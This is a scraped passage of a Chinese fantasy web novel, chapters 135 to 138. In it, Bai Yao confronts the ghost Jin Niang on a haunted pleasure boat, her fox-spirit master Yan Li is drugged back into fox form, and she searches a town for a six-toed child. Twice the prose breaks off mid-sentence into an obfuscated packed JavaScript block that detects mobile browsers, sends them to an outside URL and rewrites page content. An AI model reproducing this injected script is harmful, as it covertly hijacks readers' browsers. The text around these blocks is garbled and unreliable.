三楼鸦雀无声,倒是脚下的房间传来:“惢姐,我们找了一圈都没找到,我们再来你这儿看看。” “你们不相信我?” “不是,这不是有人在船上闹嘛……” 声音来到了白瑶的脚下,她不再犹豫,轻轻将三楼的窗户推开一条细缝,贴在船身上看进去。房间内光线熹微,入目之处视线并不开阔,好似有一层又一层的屏风遮挡。她静静感知了一会儿,房间里好像没有人的气息。 她不再犹豫,将窗户推开了一臂距离,侧身挤了进去,一个翻身悄然落在了地板上。 135. 第 135 章 三楼并非如二楼一般的数个隔间,而是连成整体的宽阔通间。 木质地板上迂回地摆放着数个画屏,像是将房间分割成了几段迷宫。画屏遮挡房内的光线,绢帛上的画面隐隐约约,凑近了才看清画面是一副又一副小人像,每一幅都不一样,画面丰富多彩。 白瑶警觉地沿着船壁走了一圈,画屏上的画面如同走马灯一般从眼前晃过,走着走着她突然意识到这些画面似乎是连贯的。 她屏息凝神,顺着画屏一个个细细看去,好像一步踏入了某个虚境幻像之中。 画面中如同点墨晕染,化开了山外青山,河水潺潺。一个面容姣好的渔女撑着小舟在河上打渔,竹篮中已有不少收获。 画面一转,河上突然落雨,河面晕开圈圈涟漪。一位衣着光鲜的小生奔赴河边想要渡河,却因下雨河上无舟,急的不知如何是好。他拿着袖子挡着落雨,却还是湿了一身。 如同话本上俗套的故事一般,渔女于濛濛细雨中撑着舟出现在河上,在风雨飘摇中接小生渡河。两人一见如故,心灵相通,不久小生回到河边,与渔女结成了眷侣。 两人生活的幸福美满,很快育有一子,但孩子的脚却天生六指,是不祥的象征。 渔女和小生隐瞒了孩子六指的事情,为他亲手做宽大的鞋子,并嘱咐他一定不能在外人面前露出脚趾。 孩子一天一天长大,天性善良单纯,渔女和小生非常疼爱他。孩子长到六岁,一天他与镇上的孩童玩闹时,不小心跑丢了鞋子,露出了异于常人的脚指。孩童们发现他的异处,一起取笑他,拿石子丢他,骂他是怪物。街坊邻居知道了,亦对他指指点点。 孩子惊慌失措,躲在房间里不敢出门。渔女和小生陪在他身边,让他远离那些欺负他的孩童,孩子却渐渐变得敏感多疑。 一日渔女出河打渔,小生在家中看顾孩子,不料孩子被其他孩童诱骗出门,引到水边,玩闹中将他推入河中。孩子跌入河水,没有太多挣扎便沉入水底,两日后幼小的身体才漂浮上岸。 渔女痛失孩子悲痛欲绝,责怪小生看顾不周,与小生心生嫌隙。小生虽然自责,却无法忍受渔女日日责骂,不久便离开了她。 日新月异、斗转星移,渔女守在河边日夜呼唤,想要孩子回来,几乎魔障了一般。镇上的人见到她都绕道而行,人们可怜她也十分畏惧她。 直到有一天,她听到了一个声音,说她的孩子已经投入轮回,将要再次降生在河边的镇上。只要将自己的魂魄献给画舫,就能永远守在河上,直到找到自己的孩子。 最后一幕映入白瑶的眼帘,女子毅然决然地抛弃了肉身,化为鬼魂,登上画舫。不知不觉中,她蹙起了眉,呼吸也变得沉重,好似心头压着千斤重的磐石。 白瑶在最后一幕前停留片刻,走出画屏的刹那,一个人影突然与她迎头撞上,紧盯着她的目光深沉又复杂,脸色很不好看。 白瑶没有预料,心中陡然一惊,立刻后退几步,才看清那人就是引他们上船的锦娘。 锦娘站在画屏旁,在幽幽灯火中凝视着她,婀娜的倩影映在画屏上,明明是风光旖旎之色,气氛却不那么轻松曼妙。 恍惚间,白瑶浑身紧绷,因为她发现画屏上的渔女与锦娘的样貌有七分相似。 “画上的人是你?”白瑶问。 锦娘没有回答她,而是紧紧盯着她,向她靠近了一步。 一步之间,白瑶突然感到一阵晕眩,眼前不知从哪儿飘来一片绸缎,隔断在她与锦娘之间,又忽而抽离,挂上了房梁。 此时她手臂一紧,挣扎之间才发现那绸缎竟然在她双臂上缠绕了数圈,将她牢牢拴在了半空中。 不过是普通的绸缎,怎么奈何得了她? 她轻巧地挣扎开,还未松一口气,那绸缎竟像蜿蜒的蛇一般又纠缠上来。白瑶挣扎得越剧烈,绸缎缠绕得越紧,顷刻间将她五花大绑,裹成了一颗粽子。 奇怪!若是一般鬼魂,怎么会有这样强的法力? 她对锦娘喝道:“放开我!” 锦娘目光幽幽地望着她,那双历经磨难的眸子,说不上是冷漠还是哀伤。两人对峙之间,房间内安静极了。良久,她轻声道:“你是女子。” 白瑶咬了咬牙:“是又如何?” 锦娘淡然道:“这艘画舫不收女子。” 白瑶轻哼一声:“那你将我扔下去罢。” 锦娘绕着白瑶慢慢走了一圈,目光随意地落在船身、画屏上:“你都看到了?”不等白瑶回答,锦娘侧过身看向她:“你觉得画上的女人做错了吗?” 白瑶抬眼看了一眼排成一行的画屏,虽然心中对锦娘的问题感到疑惑,还是摇了摇头。且不说她没明白画上的女子何错之有,就算是有,她现在落入了锦娘的手中,也不敢妄议她的错处。 “没错吗?”锦娘喃喃道:“如果没错,为什么她会失去她的孩子和丈夫?” 白瑶喉头一哽,辩解道:“世上不如意之事十有八九,怎么能把错处都揽在自己身上?” 锦娘目光一转,不带感情地瞥了白瑶一眼:“你倒是会说话。”她幽幽向白瑶走了一步,盯着她道:“那她经历的这一切究竟是谁的错?” 白瑶作为一个局外人,只了解事情的片面,是无法评判对错的。 锦娘见她不语,眸光中多了几分厉色:“你怎么不说话了?” 白瑶婉言道:“这件事不是一个人的错,有心之过无心之失,所有的阴差阳错共同导致最终的结果。可是事已至此,过去的事情无论如何也无法改变,不断纠结对错,只会徒增悲伤。” 锦娘眼睫一颤,看着她默不作声,良久紧皱的眉头渐渐舒展开:“你不是我,你不能明白我的痛苦,怎么能不纠结对错?若不是……檀郎没有照看好笙儿,孩子怎么会被带出门?他没有照看好孩子,还抛下了结发妻子,我怎能不怪他?” 站在锦娘的角度,小生当年确实做的不对,但白瑶无法认同锦娘的做法:“你将那些俊俏的公子带上画舫,就是为了报复小生当初做的事情吗?” “报复?不,那都是他们活该。”锦娘眸色冷了下来,唇边浮现一丝嘲讽:“那些公子哪个不是自己鬼迷心窍上的船,我可什么都没做。” 她确实什么都没做,只是利用画舫上的女子勾引公子上船罢了。 “男子薄情寡义,对自己的亲生骨肉尚且疏忽至 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白瑶抬头望去,才发现三楼从中间隔开,分成了两个房间。她从窗户爬上来进入了这一边,而晏离从楼梯上来却进入了另一侧。 “你想做什么?”白瑶问。 “看着便是。” 画面中不知从哪儿钻出来了几名穿着艳丽的女子,画着鲜艳的妆容,娇俏地围绕在晏离身侧,神情语言大胆地调戏着他。晏离却挺立着身板,目光冷沉地看着她们,不为所动。 白瑶笃定道:“你打错算盘了,他和你见过那些男人不一样,他不会受人蛊惑的。” 锦娘话音一转:“是么?我看未必,他不过是没有遇见喜欢的类型罢了。” 画面中几名娇艳的女子退场,一抹清丽的身影出现在晏离的身边,她好似出水芙蓉一般,清纯淡雅,脸上还有若有若无的娇羞。她披着一层绸缎,隐隐约约能看见内衬,真真是又纯又欲,叫人欲罢不能。 不知为何,白瑶心中突然一紧,眼神认真了几分。 耳边响起锦娘的笑声:“这样的人他会不会喜欢?” 白瑶瞥了她一眼,咬了下嘴唇。 不会。应当不会的。 那名女子走到晏离身侧,想要轻轻靠上他的胸膛,却在手指快要接触到他衣襟的刹那,突然被一掌推出去数米,在地上翻滚几圈,撞在了船壁上。 女子再起身时,已然换了一副面孔,面色惨白,眼眶凹陷如两个黑窟窿,獠牙锋利如刀。 正当她蓄势待发,准备扑上去时,突然眸光一变,幽幽恢复了那副清纯的模样,幽怨地看了晏离一眼,悄然向后退去。 另一侧,锦娘有些耐不住性子地走到了画屏面前。 身后白瑶语气轻快地说:“看吧,还是有男人不受蛊惑的。你遇人不淑,不代表所有人都不淑。话又说回来,既然你看不惯男人,何苦要在男人身上浪费时间?” 锦娘愤然甩袖:“我不信。”她回头望着白瑶,忽然眸光幽深起来,眯了眯眼,不知想到了什么:“我明白了,原来是这样。” 白瑶茫然:你明白什么了?怎么就明白了? 136. 第 136 章 画屏上画风一变,轮到白瑶瞠目结舌了。 她竟然看到一个与她一般无二的人影站在了晏离身后。 锦娘对她的反应很满意,望着画面上的两人勾起红唇道:“我要让你看看,他也不过是个薄情寡义之人。” 这......这算什么事? 白瑶都有几分不忍心看了:“不......他对我薄情寡义也很正常,我们本就没什么情义,全靠我死缠烂打,才求得那么一丁点师徒情分。或许师徒情分也算不得有,他就是迫于我的身份,不得已将我留下罢了......” 另一侧,晏离察觉到身后的动静,转过身却见“白瑶”可怜巴巴地望着他,走上前攥着他的衣角,撒娇似的说:“师父,你怎么才来,这座画舫好阴森,我怕......” 白瑶虽然身体被束缚,但嘴上没有,忍不住说道:“我怎么可能被这些东西吓到?” 晏离冷灰色的瞳孔停滞了一瞬,竟然没有立即推开她。 白瑶蹙起眉觉得有些不妙,等等,难道晏离吃撒娇这一套吗? “白瑶”得寸进尺地攀上晏离的手臂,紧紧贴着晏离的肩膀,软软糯糯地说:“师父,我好怕,别离开我......” 白瑶嘴角抽了抽,她平时可没有做过这样的事! 晏离冷淡地看了她一眼:“怕?” “白瑶”抬起头,一双水汪汪的眼睛里盛满了晏离的影子:“师父,你吓到我了,我心口跳的好厉害,你摸摸......”说着,竟然牵起了晏离的手,往自己怀中拉扯。 这一头,白瑶疯狂挣扎起来:“我才不会这样!” 锦娘看了她一眼:“嘘,接着看。” 晏离抽回手,不着痕迹地拉开了半臂距离,转头向前走去。 画面外,锦娘皱起眉,喃喃道:“怎么回事?” 白瑶呵呵几声:“都说了我师父才不会被这种雕虫小技蛊惑!” “师父......” 晏离脚步一顿,旋即衣裳下摆被重重一扯,他竟跌坐下来。“白瑶”衣衫半解,跪坐在他身侧,美眸若有若无地勾着他,又轻声唤了一声:“师父......” 吴侬软语之下,晏离的眼前突然一晃,人影出现了重叠。 “白瑶”轻轻抚上他冰冷的脸颊,在他耳边呵了一口气:“师父,别走,别离开我......”渐渐将他的上身抱入怀中。 ——哗 白瑶满脸通红,剧烈地挣扎起来。她全然无法直视这一画面,那人怎么......怎么能顶着她的脸同师父做这样暧昧的事情? “师父!你别信她!她不是我!”白瑶急得大叫起来。 锦娘幽幽看了她一眼,不紧不慢地说:“没用的,那边听不到这里的声音。” 白瑶气的咬紧了牙,怎么回事?那个女人和她除了脸之外没有半点相似,为什么师父没有认出来? 晏离身体渐重,眼中的重影越来越模糊,他伸手推开眼前的虚影,却被“白瑶”反手攥紧。耳边响起熟悉的笑声:“师父,这里没有其他人,告诉我,你想做什么?” 晏离一时竟然没有抽回手。 白瑶眼睫一颤,突然意识到有些不对,晏离就算没有认出她,也不可能同她做这样的事情。她冲锦娘厉声问道:“他到底怎么了?你们对他做了什么?” 锦娘露出一个意味深长的笑容:“我们可什么也没做,这就是你那师父真实的样子。他也不过是一个普普通通的男人。” “不可能!”白瑶叫道:“一定是你们做了什么。”她深吸一口气,强迫自己冷静下来,细细思索一番,眸中一亮:“是酒!是酒对不对?你们的酒有问题!” 锦娘笑道:“酒是他自己喝的,我们可没逼他。” 白瑶顿时脸色煞白,晏离之所以会喝酒,全是因为她。若不是她故意在姑娘们面前逞能,晏离不至于无法抵抗一个鬼魂。 白瑶的嘴唇微微发颤,眼眶渐渐红了,嗓音变得沙哑:“你放开他,他是因为我才会变成这样......” 锦娘听见她嗓音的变化,回头看向她:“这么说,他同你真有感情?” 白瑶摇了摇头,目光却十分坚毅:“他是我师父!” 画屏上,“白瑶”面露喜色,得寸进尺地伸手去扯晏离的衣襟。利落的线条,白皙的皮肤,顺着领口往下看去......“白瑶”咽了咽喉咙,眼中的喜色越来越明显...... 突然,她的手被紧紧攥住,力量之大几乎将她的手骨捏的变形。 “白瑶”惨叫一声,撕裂的声音很快卡在了喉头,一只修长的手扼住了她的咽喉。 晏离眼中清如明镜,哪还有迷离之色。 “你......”“白瑶”挣扎中挤出一个字,眼中满是惊恐。 晏离如同冷面阎罗一般,带着森冷的寒意睥睨着她,薄唇微启:“她在哪里?” “白瑶”浑身止不住地颤抖,眼珠挪向了一边。 脖子上的力量陡然消失,她跌坐在地上,大口喘息,望着地上大片的阴影,却是连头也不敢抬了。 锦娘倒吸一口气,退后一步,拧眉道:“怎么可能?” 话音未落,眼前的画屏突然被一道弯月似的白光劈开,一个高大又清瘦的身影从阴影处一步一步走来。 他走得很慢,不似平日那般轻盈,披散的长发随着窗户缝隙中钻进的风微微扬起。随之而来一阵清冷的气息,他面色愈加白皙剔透,淡色的薄唇轻颤,如一朵盛开在寒冬的雪莲。 莫名地让白瑶心中一动。 “师父......”同样的声音,她的语气却没有丝毫的杂念和情愫。 晏离从阴影中缓慢地走出,抬眼向她所在的方向投下一瞥,又转眸望向尚未回过神来的锦娘,余光落在身侧撕碎的画屏上,目光流转之间已然摸清了这里发生的事情。 “你竟然没有被蛊惑。”锦娘喃喃道,看他的眼神复杂了几分。 晏离悠悠抬起手,指尖在空中虚划了一道弧线,白瑶身上缠绕的绸缎应声而落,她稳稳地踩在了地面上。 锦娘突然发难,几道虚影猝然向他掠去,竟是那断开的绸缎。几段绸缎如同有生命一般同时向晏离进攻,他轻轻一跃,绸缎怦然砸落在地,竟然将地板砸出了一个窟窿。 二楼传来一阵骚乱,不少女子争相凑在窟窿下观望。船身一晃,开始向右/倾斜。 “有事说事,你这船可不禁砸!”白瑶焦急道。 锦娘的目光沉了沉:“你们乖乖站好不就行了。” 白瑶一哽:“你想的倒是美,我们也不欠你什么,凭什么要听你指手画脚?”话音未落,晏离将她揽腰抱起,躲过了绸缎的攻击。落地时,晏离踉跄一步,白瑶赶紧转过身扶住她,语气流露出一丝担忧:“师父,你还好吧......” 晏离定定地望着一处,眼神忽而迷离,忽而清醒。他咬紧牙关,闭上眼冷静片刻,再睁开时布满了血红丝。 白瑶能感觉到他的身体在微微颤抖,她握着他的手,焦急道:“师父,你怎么了?”她掌心一痛,忽然发现晏离的指甲变得锋利无比,如同野兽的利爪。 一声轻不可查的呻吟从他口中溢出,他眸中有一瞬间慌乱,继而紧紧咬住了嘴唇。那双颜色本就浅淡的薄唇,在紧咬之下变得越发苍白。 白瑶心里一抽,脑海中浮现刚才他与那名变作她模样的女子相亲的画面,突然血气上涌,转头冲锦娘吼道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137800|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们做了什么?” 锦娘面露迟疑:“酒是加了料的雄黄酒,我们一船的姑娘,出门在外总得防着点。若是遇上妖怪怎么办?” 雄黄酒?白瑶一愣,这种酒能让妖怪显出原形。普通的雄黄酒根本奈何不了他们妖仙,以晏离现在这副模样,酒中得加了多少料啊? “你们鬼魂还怕妖怪?” “鬼魂是人变的,怎么能和畜生相提并论?” 某两只狐狸顿时眼神一凌,向锦娘剜去。 锦娘倒吸一口气:“你们该不会......不是人吧?” 霎时间,眼前浓雾翻滚,在看不真切时,白瑶已然感受到手中的冰冷变成了一团毛茸茸的东西,她下意识去伸手一抱,将一大团毛球抱在了怀中...... 浓雾散去,白瑶与一双狐狸媚眼同时眨了眨眼睛。 白瑶倒吸一口气,抱也不是放也不是,惊慌失措道:“师师师师师父......你你你你你好像变回原形了......” 一只半人高的狐狸此时窝在她怀中,垂眸叹息道:“我知道。” 不妙不妙。 锦娘哈哈大笑:“看来你们是妖仙。不过他现在这副样子,你们也逃不出去。怎么样?你就留在我舫中,我保你吃喝玩乐,至于他......他这副皮毛倒是不错,可以做一个披肩。”锦娘伸手就要往晏离的狐狸毛上摸,白瑶愤愤地将狐狸抱走:“别碰他!” 锦娘面色一变:“怎么?你还想抵抗?不要敬酒不吃吃罚酒。” 白瑶咬着唇,狠狠瞪着锦娘,心中委屈至极。她平日里连碰都不敢碰晏离一下,这个女人居然说要用师父的皮毛做披肩? 白瑶抱狐狸的手紧了紧,用脸贴了贴狐狸毛,小声说:“师父别怕,我一定誓死捍卫您的尊严。” 狐狸趴在白瑶的肩上,目光幽沉。 她可以砸了这座画舫然后一走了之,但舫上的女子们又该何去何从?这不是她上船的本意,她是来查明真相解决问题的,她不能让锦娘再带着一船的女子在九曲河上为非作歹。 白瑶深吸一口气,对锦娘说:“你当初选择守在这座画舫上并非是为了惩戒男人,而是为了找到那个孩子对吧?我能帮你找到那个孩子!” 锦娘目陡然光一变:“你说什么?” 白瑶严肃道:“我说,我会帮你找到那个孩子。” 锦娘眯了眯眼,轻笑一声,抱起双臂饶有兴致地望着她:“我不信,我在这条河上已经漂游了几百年,我都找不到,你怎么可能找到?” 白瑶笃定道:“我一定能找到。我是青丘白家人,白家的势力你应当知道。给我一些时间,我会把孩子带到九曲河边。” 白家的名声在青丘相当好用,锦娘在河上漂泊了几百年,对白家早有耳闻,不得不对这个小姑娘另眼相看。 “你竟然是白家人,是我有眼不识泰山了。不过就算是白家人,也不能无缘无故惊扰这座画舫,你说你能找到我的孩子,我便给你七天时间,能办到吗?” 白瑶警觉道:“你几百年都找不到,只给我七天时间,未免有些强人所难了。锦娘,我是真心想要帮你,如果能找到孩子,宽限些时日......对你没有损失。” 锦娘挑了挑眉,威胁道:“谁说我没有损失?我巴不得现在就能见到我的孩子。你说你能找到,那便快点将他带到我面前。我会将你送回岸边,只有七天,多一天都不行,第七日夜里我会来接你。不然,我可不敢保证九曲河两岸百姓的性命。” 人为刀俎我为鱼肉,白瑶别无选择,只能无奈答应:“好,七天就七天。我答应你。” 她抱着狐狸抬脚走向楼梯,从锦娘身侧走过时,锦娘突然出声道:“将他留下。” 137. 第 137 章 稍稍松弛的气氛瞬间又陷入紧绷。 白瑶抱着狐狸的手紧了紧,没有回头,沉声道:“我要带他走。” 锦娘在她身后厉声道:“你带着他若是不回来了,我上哪儿去找人?只有将他留下,你才会乖乖将孩子带来。你可以走,他不行。” 白瑶抱紧了怀中的狐狸,怎么也不想放手。她怎么能一个人离开,让变回原形的师父留在船上? 耳边响起晏离的声音:“我留下。” 白瑶望着那一双狐狸眼,犹豫道:“可是......” “快去快回。” 白瑶犹豫着看了锦娘一眼,退后半步,将师父放下,挡在他身前说:“这几天谁也不能靠近他,包括你。” 锦娘闻言,挑了一下眉,了然道:“我答应你。” 白瑶眼珠一转:“和我们一起上船的渔夫,还有船上其他的男子,我也要一并带走。” 锦娘眉头一挑,勾起唇角:“那些你也要带走?”语气中带着些许不同寻常的兴奋。 白瑶下船时才看明白,原来先前在船上饮酒作乐的男子不过是几只蜥蜴□□化的,船上的女子太过无聊,才将河边的精怪招上来玩乐。 河伯在河边焦急地等待着,从白天等到了黑夜,一边懊恼自己怎么没有跑快几步登上画舫,一边又庆幸没上去不然谁知道回不回得来。就在他辗转反侧时,只见那如同海市蜃楼一般的画舫又破空而出,渐渐向他驶来。 河伯在短短几分钟内做了一番思想斗争,心想既然画舫再次出现,那他一定得上去看个究竟了。于是河伯毅然决然地握紧了船上放下的阶梯,冲自己点点头,然后一脚踏了上去。 谁料才踏上一级就被一脚踢了下来,倒栽在了泥沼中。 白瑶拎着奄奄一息的渔夫和两个醉的不省人事的男子下了船,一眼看见埋在泥里的河伯,眉头一皱:“河伯,我们一离开你便无事了是吗?这么大的岁数还玩泥巴,还不快起来?” 河伯那个欲哭无泪。 河伯从泥潭中爬出来,清理干净身体,忽然发觉好像少了什么。他愣愣地望向白瑶,又低头看看倒在一旁的渔夫,突然瞪大了眼睛:“晏离公子呢?他该不会被画舫上的女子留下了吧?” 白瑶的脸色变得更加不好看:“他是被留下了,不过和你想的不一样,那座画舫受制于一个叫锦娘的鬼魂......” 白瑶将船上发生的事情同河伯细细说来,河伯听了眉头越皱越紧,倒吸了好几口冷气,双手合十念念有词:“佛祖菩萨快显灵,怎么就让我碰上这种事。” 白瑶脸色沉下来:“在你管辖范围内发生的事,你居然还想求助佛祖菩萨?河伯,你这些年究竟有没有好好做事?” 河伯脸色一白,支支吾吾地说:“有......有啊,公主,您不能因为这件事就质疑我这么多年的辛苦吧,美人舫本来就是个意外,不是我能控制的啊!” 白瑶冷静下来,瞥了一眼带下船的渔夫:“去把他救活,扔回他的小舟上。”顿了一下又道:“再给长乐宫写一封信......” 她若是能找到那个孩子最好,若是找不到,也不能让画舫将晏离带走。 白瑶思忖片刻:“就说......就说我被绑架了,让他们快派人过来。” 河伯咽了咽喉咙,小声道:“这......不大好吧,万一永昭殿下一着急,派兵打过来怎么办?” 她娘就算着急,也不会无缘无故出兵,顶多派几个得力的下属过来先看看情况。让长乐宫的人出马也是迫不得已,白瑶目光灼灼地反问他:“万一师父回不来了怎么办?” 河伯心不甘情不愿地收声,勉为其难地书信一封,托纸鹤送往长乐宫,心想九曲河上这档子事终究还是瞒不住了。早知如此,当初还不如直接上报宫中呢。 远方,一缕亮光从群山之巅溢出,山影映衬在云海之中,万丈光芒伴随着几声鸟儿清脆的啼鸣,照耀在山间,又慷慨地泼洒在河面上。河面揭开了黑夜深沉的幕布,重新挂起一副俊秀的山河画卷。 悠扬的风吹起白瑶的刘海,她望着平静无波的水面,问河伯:“你见过天生六指的人吗?” 河伯直直地望着水中的倒影,顿了一下:“没有。什么人会天生六指?再说,人又不会专门将脚伸出来给我看,我怎么会知道?” 白瑶对河伯的话半信半疑,带着河伯又回到了九曲镇。 在走街串巷中,白瑶仔细观察着每一个人的脚步,可是从鞋子看不出个究竟。时间一分一秒挪移,日头也走到了上空。 炎炎烈日,又到了午饭的时间,街上见不到几个人。 巷子里传来:“幺儿,回家吃饭了——” 不久,一个模样四五岁的小童,扎着一缕小辫,轻快地从白瑶与河伯二人眼前跑过去。 “哎哟”一声,孩子在他们不远处跌了一跤,蹬掉了鞋子。事情发生的太过凑巧,白瑶立刻就被吸引了主意,跑过去捡来鞋子,目光深沉地看着倒在地上的小童。 虽然明知道那个天生六指的孩子不可能随便在大街上就遇见,但白瑶还是忐忑且心怀希冀地抬起他的脚...... 明明几根脚趾一瞥便知,却不知为何眼前一片恍惚。她定了定神,一个一个数下去,眨了眨眼睛,又数了一遍...... 小童被她的目光吓到了,脚不住地往后蹬,越来越急躁,哇哇大哭起来。 巷子里响起叫骂声:“诶!你干什么?” 白瑶踉跄一步被推开,老妇人抱起孩子恶狠狠地瞪着她:“你什么人啊?抓我孩子干什么?来人啊,有人抢孩子!” 河伯赶忙上前解释道:“不好意思阿姨,我们认错人了。” 老妇人高声道:“谁是你阿姨?认错人就完事了?我才不信!” “哎呀,真不是故意的,我们就是看你孩子摔倒了,过来扶一把,你孩子不没事儿么?” 小童一听,哭的更大声了:“呜呜他们摸我——” 老妇人面色一黑:“你们居然......居然连个孩子都不放过!” 巷子里不一会儿又跑出来几位看戏的街坊,追着白瑶、河伯两人骂道:“你们是从哪里来的?为甚么抢孩子?” 众口之下,有理也说不清。 河伯赶紧带着白瑶往巷子外走,可那帮闲来无事的街坊居然跟着追出来,似乎想看看他们究竟想去哪里、做什么。 河伯带着白瑶七拐八拐,终于甩开了那帮看热闹的街坊,一抬头居然又回到了宗家门口。 只隔两日,再次拜访宗家,却是他们有求于人。 宗先生在知道了前因后果后,很快就派人出门沿河打探,有没有天生六指的孩子的踪迹。但剩下的时间不多,若是等他们找到,不知要等到什么时候。 白瑶急着想要出门找人,走出宗家时已是下午,迎头撞上采买回来的小东。前日才送走的人今天又出现在了家中,小东面露疑惑,多看了她几眼,道:“你......你们怎么又回来了?” 白瑶疲惫不堪,不想和他多言,没好气地说:“出了点事情。” 小东眼中划过一抹异色,神情认真起来:“什么事?” 河伯推着白瑶往前走:“你回去问宗先生吧,我们还有别的事,先走一步。” 白瑶转身欲走,但身后那抹异样的目光始终追随着她,让她不禁有些困惑。小东究竟在看什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137801|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 从她来到宗家时,他看她的目光就有些不同寻常,可说来他们之间没有什么交情,有什么东西可看?难不成是她美貌过人,让这少年看呆了不成? 白瑶越想越奇怪,向前走了几步后,突然回过头。小东果然提着两只大包裹还站在宗家门口,目不转睛地望着他们,眼中暗暗有些思索。 “你看我做什么?”白瑶问。 河伯眨了眨眼睛,疑惑地拧眉回望了一眼。 小东突然被问,向后缩了一下,高大的身型却有些唯唯诺诺:“我......我没有。” 白瑶在经历了几天的折腾之下,精神紧绷到了极点,听见小东的否认像是脑中翁的一声爆炸。她不顾河伯的阻拦,快步冲到小东面前,仰头气呼呼地质问他:“从我来宗家第一天,你就用一种奇怪的眼神看着我,你认识我吗?你为什么这样看我?看我为什么不敢承认?” 小东微微颤抖,犹豫之间抬眼看了一眼不远处一脸郁结的河伯,摇了摇头:“不,我......不是,我没有看你。” 白瑶不信:“看就看了,有什么不能承认的?” 河伯拉住暴躁的白瑶,轻声劝道:“公......白姑娘,他不承认就算了,现在可不是纠结这个的时候,我们还要去救晏离公子啊。” 白瑶瞪了小东一眼,现在确实不是和小东拉扯的时候,她一扭头便飒飒地走了,留下小东望着她的背影欲言又止。 暮色四合,夕阳的光芒渐渐隐没在小镇的屋檐后。天色暗淡,镇上点起了幽幽的烛光,晚风送来一阵饭菜的香气。 白瑶与河伯在九曲镇附近问了个遍也没问出个所以然,第三日接近傍晚时,宗家一名侍从匆匆来寻他们,说是有些眉目了,请他们快回家中。虽然他神色并不轻松,但白瑶却如同抓住了救命稻草。 宗家灯火通明,在她看来就像希望的火烛冉冉升起。 宗先生招呼侍从给他们斟上茶水:“你们先别急,这件事有些麻烦,喝口水再说。” 白瑶一饮而尽,重重放下杯子焦急地问:“你们真的找到了?” 一旁一个侍从模样的男子一身风尘仆仆,对白瑶点了下头:“白姑娘,我们几人这两日去了沿河的几个镇子打听了一番,只发现下游有一个只有十余人的村庄里曾有过一个天生六指的孩子,不过是二十多年前的事情了。那个孩子......”他犹豫了一下:“那个孩子善泅水,九岁的时候下河救同村的一个孩子时不幸夭折了。” 白瑶眼睫一颤:“又是在水中夭折的。” 侍从点点头:“是啊,这件事过了很久了,除了那户被救的人家,其他人都记不清了。” “不好。若是那个孩子已经亡故了,不就找不到了吗?”河伯在白瑶耳边小声嘀咕道。 白瑶漠然地看了他一眼,小声说:“不会的。”不知是给河伯说的,还是在安慰自己。 摇曳的烛光中,白瑶的脸色惨淡如白纸,她攥紧了拳,一边想着这个孩子未必就是锦娘孩子的转世,一边又忍不住担忧起来。 她累了几日,精神有些恍惚,只觉得烛火忽大忽小,烛光不似先前那般温暖,反倒增添了几分寒意。 她在喧嚣中垂下头,目光落在一处安静的角落定了定神,深呼吸几口气,让自己平静下来。余光突然留意到门边一双比寻常人更大的鞋子,她顺着那双鞋子往上看,在看到隐藏在人后的小东时忽然顿了一下。 小东正垂下眼眸,木讷地看着地面,不知是不是白瑶的错觉,她觉得小东的眼中似乎也流露一丝焦灼和惨淡。 为什么? 白瑶在心中暗暗埋下了一颗怀疑的种子,她必须得知道小东到底有什么秘密。 138. 第 138 章 喧嚣散去,孤月高挂。 宗家阁楼上某个不起眼的小房间内,传来阵阵水声。房内透出幽幽微光,不过颜色极暗,连人影也看不真切。过了一会儿,又传来一阵窸窸窣窣的声音。 忽然,房内传来一声倒吸气声,随之盆子“砰”地滚落在地,哗的一声水花四溅。 “你......你......”饶是被吓得不起,小东的声音依旧压得很低,一双眼睛飞快地翻动,向后退了两步,猛地撞在了门上。 小东先前正在洗漱,当他起身换衣时,不知从哪儿冒出一个人影,吓得他倒吸一口冷气,定睛一看才知道是那个白姑娘。她也不看小东的脸,神情异常认真地望着他的双脚,目光热辣直接,似乎要将他看出一个窟窿。 小东心中重重敲了三下,心有余悸地小声问:“白......白姑娘,你这是做什么?” 白瑶“嘘”了一声,借着房内的幽光,将他的双脚看了个一清二楚。 她原本以为小东之所以会有怪异之举,是因为他就是天生六指之人,所以他才会穿比常人更大的鞋子,锦娘的孩子远在天边近在眼前。却不料,小东一双大脚赤裸裸地暴露在她眼前,与常人无异,不论她数了几遍都是五趾。 白瑶眼神黯了黯,边思索前因后果边在房间踱步,突然一个踉跄,踩到了小东放置在一旁的鞋子。她低下头看了看宽大的鞋子,又抬起头看了看面如菜色的小东,忽然想起她第一天来宗家时,不小心踩到了小东的脚......不,不是踩到了小东的脚,而是小东的鞋子。 这双鞋子很大,当时她是踩空了的。 他为什么要穿一双尺码不合适的鞋? 白瑶的眼神变得深邃又坚毅,她沉声问:“这双鞋是你的吗?” 小东喉头一滚,犹犹豫豫地点了点头。 白瑶怀疑地问:“这双鞋看上去有些旧了,你穿了多久了?” 小东答道:“约莫一年了,鞋是我爷爷亲手做的,他怕我长的快,所以会做大一点。” 合情合理。 白瑶难以置信地眨了眨眼睛,抬起头看向小东眼中依旧是茫然之色。 白瑶咬了下嘴唇,仍旧不死心地追问:“你就没有别的身份?” “没有啊,白姑娘,你怎么了......”小东紧张地问。 不问倒好,问了白瑶反而更加尴尬。她都做了什么啊?她居然三更半夜潜入一个陌生少年的房间看他的脚?她先前就怀疑人家,现在甚至还上手行不轨之事,说出去都是什么事儿啊? 